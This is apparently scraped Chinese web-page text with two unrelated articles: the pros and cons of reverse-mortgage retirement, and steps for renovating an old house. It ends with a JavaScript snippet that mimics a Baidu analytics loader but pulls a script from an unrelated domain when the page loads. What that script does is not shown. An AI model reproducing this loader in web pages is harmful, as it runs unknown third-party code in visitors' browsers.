以房养老的优缺点!

导语：以房养老属于当下比较火的一种新型的养老方式，老年人可以把自己名下的房产进行抵押，不仅自己可以享受住房还可以每个月获取到一定金额的退休金，在老人去世之后房产会被银行或者是保险公司收回，属于一种房产变现的养老方式。以房养老属于一种资源的新型配置方式，以房养老的优缺点都是什么呢?不妨来看看下文中的介绍。以房养老是可以在一定程度上弥补市场经济发展导致养老金不足的情况的，还可以提升社会养老的程度，对于住房也得到了合理化的利用，当然以房养老也是有很多弊端的，容易造成老人和孩子之间家庭观念的淡薄，在一定程度上还会激化原有的矛盾，而且并不能提供老年人一些养老费用的急需。由于以房养老的制度还不是很完善容易出现一些金融风险，目前的房子产权都是在70年的，在70年后房子如何处理也并没有相关的规定，这样让朋友们选择以房养老的时候有很多需要考虑的问题。先来说说以房养老的优点，以房养老可以让老年人在晚年的时候依然享受到家庭的温暖，而且并不会在老人依然在世的时候收回房子，可以说老人一生都是拥有房屋的居住权利的。以房养老还可以在一定程度上减少子女的压力，因为老年人每个月都可以得到一定的资金补偿，可以让每个月的养老金都处于足够用的状态，不用子女再补贴家用。再来说说以房养老的缺点，以房养老在很大程度上冲击了我国现有的养老模式，对于家庭关系之间的和谐可能会造成一定的影响，因为以前的房产是可以直接的留给子女的，推出了以房养老的政策，可能会有一部分子女无法得到父母留有的房产而决定内心不平衡，对于老年人的照料也无法很好的进行。关于以房养老的优缺点就先为朋友们介绍这么多了，其实以房养老的初衷是非常好的，但是在操作的过程中朋友们可能会感觉到阻碍还是非常大的，以房养老可以适用的范围并没有那么的广泛，经济条件很好的老人并不需要以房养老的方式，而经济条件不好的老人很可能因为选择了以房养老而疏远了与子女之间的情感。

老房子装修简单流程有哪几点要注意

现在二手房都是买房者的首要选择，但二手房装修基本上已经比较老了，而且有些装修风格也不适合在现在的潮流，二手房即使装修再好，也不是自己想要的感觉。所以很多人会选择老房子装修简单的方式，这样适应潮流，经济上也能承担的起，老房子装修简单流程要注意三点，结构改造，墙、地、顶面的改造，水电改造。老房子装修简单流程1、房子框架整改其实老房子装修简单极了，改变大体即可。房子框架整改的主要原因是提高住宅的空间利用率，尽可能地满足现代生活的生活需要。例如，2间房至3间房，卫生间调整为干湿分离，改善房屋照明条件等。这里应该注意的是，厨房、卫生间包装管道时必须离开留口，以便维护。与此同时,禁止禁止拆除承重墙和配重墙，为了视觉感官整改这些地方可能会出现施工上的危险，这种家居擅改出现问题的新闻年年都会出现，所以不要乱改造。2、墙、地、顶面的改造墙、地、顶面在施工前，需要让专业人员对房屋进行实地检查。例如，墙壁和屋顶是否有裂缝，是否平坦，是否有沙子落下。此外，如果墙面皮肤抗粉化性差，很容易被根除时剥离，很难修复。如要求墙面粘贴或大尺寸瓷砖,大理石墙面需要完全根除,再用水泥砂浆的地基处理,刮腻子,应该注意这个过程完全干燥后,后续施工。老房子装修简单改造一番，整个房子价值就会翻升。3、水电改造水电改造是整个装修中最重要的部分，如前所述，建议大家要果断进行维修换。根据现行国家装饰标准，施工中必须使用2.5mm铜线，墙面必须穿PVC绝缘管，改造旧房子后要实现供电：冰箱、空调、大功率电路单独使用。老房子装修简单花费的钱比二手房和新房要便宜得多，但老房子所隐藏的一些危险也不能不注意，不论是老房子本身或是人工后期可能会产生的一些问题都是要主人多加注意的，房子毕竟是一个长久居住的地方，主人在老房子装修时要让专业师傅来勘察一番。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();